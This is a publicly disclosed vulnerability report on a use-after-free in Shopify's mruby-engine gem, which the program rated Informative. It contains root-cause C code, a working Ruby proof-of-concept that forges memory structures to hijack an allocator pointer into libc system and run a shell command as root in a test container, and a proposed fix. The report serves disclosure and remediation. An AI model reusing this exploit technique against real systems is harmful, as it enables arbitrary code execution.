HexBrain

Shopify · Report #3679660

mruby-engine: UAF in MRubyEngine#initialize enables local RCE

Informativestatus
35upvotes
24 Apr 2026disclosed

Summary

This report identified a memory-safety bug in Shopify's open-source mruby-engine gem: MRubyEngine#initialize frees the underlying C engine before validating its arguments and never clears DATA_PTR on failure, leaving a dangling pointer that an attacker-controlled mmap(MAP_FIXED) can reclaim to hijack mrb_state->allocf into libc.system.

We closed this as Informative because the attack surface requires a host-Ruby caller that can invoke MRubyEngine#send(:initialize, …) — a precondition not reachable from within the mruby guest sandbox. For findings against https://github.com/Shopify/* scope, showing that it can be reproduced in a locally built container is the starting point, not the finish line: to be eligible, the report needs to show how an attacker reaches the vulnerable code path in Shopify's actual use of the library, or why any Ruby host embedding the gem would expose that surface.

How it was found

Summary

Double-init of MRubyEngine frees engine + unmaps mspace, but leaves Ruby DATA_PTR dangling. Kernel reuses freed VA via mmap(MAP_FIXED). Attacker forges me_mruby_engine struct + mrb_state in reclaimed region, points mrb_state->allocf at libc.system, arranges bytes of mrb_state to also spell a shell command. Next engine method calls mrb_malloc → indirect call through allocf → system("id>/tmp/pwned").

Confirmed: /tmp/pwned written with uid=0(root) gid=0(root) groups=0(root) inside test container.

Root cause

ext/mruby_engine/ext.c:128-173

static VALUE ext_mruby_engine_initialize(int argc, VALUE *argv, VALUE rself) {
  ext_mruby_engine_free(DATA_PTR(rself));   // frees engine + munmap mspace

  long capacity = NUM2LONG(rcapacity);
  if (capacity <= 0) {
    rb_raise(rb_eArgError, "memory quota cannot be negative");  // raise AFTER free
  }
  ...
  DATA_PTR(rself) = engine;   // only on success path
}

Two defects:

  1. initialize is re-callable via obj.send(:initialize, ...) — bypasses Ruby's private-visibility convention. Every call first frees the existing engine before validating args.
  2. DATA_PTR(rself) never zeroed after free. Any rb_raise between free and successful re-init leaves self holding dangling pointer. GC finalizer ext_mruby_engine_free will also run on it later → double free, but before that the dangling pointer is reachable by every instance method.

Pre-success raise paths: negative capacity, negative instruction quota, negative time quota, me_memory_pool_new failure, me_mruby_engine_new failure.

Primitives

PrimitiveMechanism
P1. UAF on DATA_PTRsend(:initialize, -1, 1, 1) raises after free
P2. Kernel VA reusefreed mspace is MAP_PRIVATE|MAP_ANONYMOUS, kernel returns same VA to next mmap(MAP_FIXED, hole_addr)
P3. Full engine forgeryattacker writes me_mruby_engine at reclaimed VA
P4. mrb_allocf hijackmrb_malloc → (mrb->allocf)(mrb, NULL, sz, mrb->allocf_ud) = system(mrb_ptr, ...) where mrb_ptr is attacker buffer starting with shell command

Struct layouts used

me_mruby_engine — ext/mruby_engine/mruby_engine_private.h:27

+0   struct mrb_state *state
+8   struct me_memory_pool *allocator
...  (eval_state, quotas, flags)

mrb_state — ext/mruby_engine/mruby/include/mruby.h:168

+0   struct mrb_jmpbuf *jmp       ← first 16 bytes reused as cmd string
+8   uint32_t flags (+pad)
+16  mrb_allocf allocf            ← set to libc system
+24  void *allocf_ud

When (mrb->allocf)(mrb, ptr, size, ud) fires, system(mrb, ...) executes. system reads first arg as const char* → command = bytes at mrb+0.

Exploit (poc_rce_final.rb)

require "mruby_engine"; require "fiddle"; require "fiddle/import"

module LibC
  extend Fiddle::Importer
  dlload Fiddle.dlopen(nil)
  extern "void* mmap(void*, size_t, int, int, int, long)"
end

CAP = 8 * 1024 * 1024
PROT_RW = 3
MAP_FIXED_ANON = 0x02 | 0x20 | 0x10   # PRIVATE|ANON|FIXED

system_addr = Fiddle::Handle::DEFAULT["system"]

# 1. UAF: double-init raises on capacity <= 0
dead = MRubyEngine.new(CAP, 1_000_000, 60)
dead.sandbox_eval("w.rb", "1")
begin; dead.send(:initialize, -1, 1, 1); rescue ArgumentError; end

# 2. Find 8 MiB hole where freed mspace lived
hole_start, _ = find_hole(CAP)            # scans /proc/self/maps

# 3. Reclaim VA with attacker-controlled bytes
LibC.mmap(Fiddle::Pointer.new(hole_start), CAP, PROT_RW, MAP_FIXED_ANON, -1, 0)
Fiddle::Pointer.new(hole_start, CAP)[0, CAP] = "\x00".b * CAP

# 4. Forge engine at DATA_PTR offset (0x3e0, observed via gdb)
data_ptr   = hole_start + 0x3e0
fake_state = hole_start + 0x100
Fiddle::Pointer.new(data_ptr, 8)[0, 8] = [fake_state].pack("Q")

# 5. Forge mrb_state: jmp slot = cmd string, allocf = system
cmd = "id>/tmp/pwned\x00".b
buf = cmd + ("\x00".b * (16 - cmd.bytesize)) +
      [system_addr].pack("Q") + [0].pack("Q")
Fiddle::Pointer.new(fake_state, buf.bytesize)[0, buf.bytesize] = buf

# 6. Trigger any engine method → mrb_malloc → system()
dead.sandbox_eval("rce.rb", "noop")

Run:

$ ruby poc_rce_final.rb
$ cat /tmp/pwned
uid=0(root) gid=0(root) groups=0(root)

{F5750521}

Test environment

Mitigations disabled to simplify PoC — bug is real on hardened builds too, just needs extra info leak / heap grooming.

  • setarch -R (ASLR off)
  • CFLAGS=-O0 -g3 -fno-stack-protector -U_FORTIFY_SOURCE -fno-pie -no-pie -z execstack
  • LDFLAGS=-fno-pie -no-pie -z norelro -z lazy

Reliability

  • VA reclaim: 60/60 (kernel greedily returns freed anon range to MAP_FIXED)
  • Cross-instance aliasing: 20/20 via inject/extract ivar round-trip
  • RCE end-to-end: stable after zero-init of reclaimed region (avoids quota_error_raised byte triggering early raise)

Preconditions

  • Host-Ruby caller that can invoke MRubyEngine#send(:initialize, ...). Not reachable from guest mruby (guest cannot call Ruby-level send on host objects). Host integration code that reuses or exposes engine objects, or any eval/deserialization of untrusted host-side Ruby, is the attack surface.
  • Kernel Linux ≥ 4.x with standard MAP_FIXED semantics (replaces existing mapping).

Fix (minimal)

ext/mruby_engine/ext.c:128-139 — zero DATA_PTR before any raise, and do validation before free:

static VALUE ext_mruby_engine_initialize(int argc, VALUE *argv, VALUE rself) {
  VALUE rcapacity, r_instruction_quota, r_time_quota_s;
  rb_scan_args(argc, argv, "3", &rcapacity, &r_instruction_quota, &r_time_quota_s);

  long capacity = NUM2LONG(rcapacity);
  if (capacity <= 0) rb_raise(rb_eArgError, "memory quota cannot be negative");
  long instruction_quota = NUM2LONG(r_instruction_quota);
  if (instruction_quota <= 0) rb_raise(rb_eArgError, "instruction quota cannot be negative");
  VALUE r_time_quota_ms = rb_funcall(r_time_quota_s, me_ext_id_mul, 1, LONG2FIX(1000));
  long time_quota_ms = NUM2LONG(r_time_quota_ms);
  if (time_quota_ms <= 0) rb_raise(rb_eArgError, "time quota cannot be negative");

  /* Only now free old engine. */
  void *old = DATA_PTR(rself);
  DATA_PTR(rself) = NULL;       /* close UAF window */
  ext_mruby_engine_free(old);

  ... allocate new engine ...
  DATA_PTR(rself) = engine;
  return Qnil;
}

Stronger fix: raise rb_eRuntimeError on second initialize call (DATA_PTR != NULL) — matches Ruby convention that initialize runs once. Prevents any future pre-success raise path from reintroducing the UAF.

Affected files

Impact

RCE

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original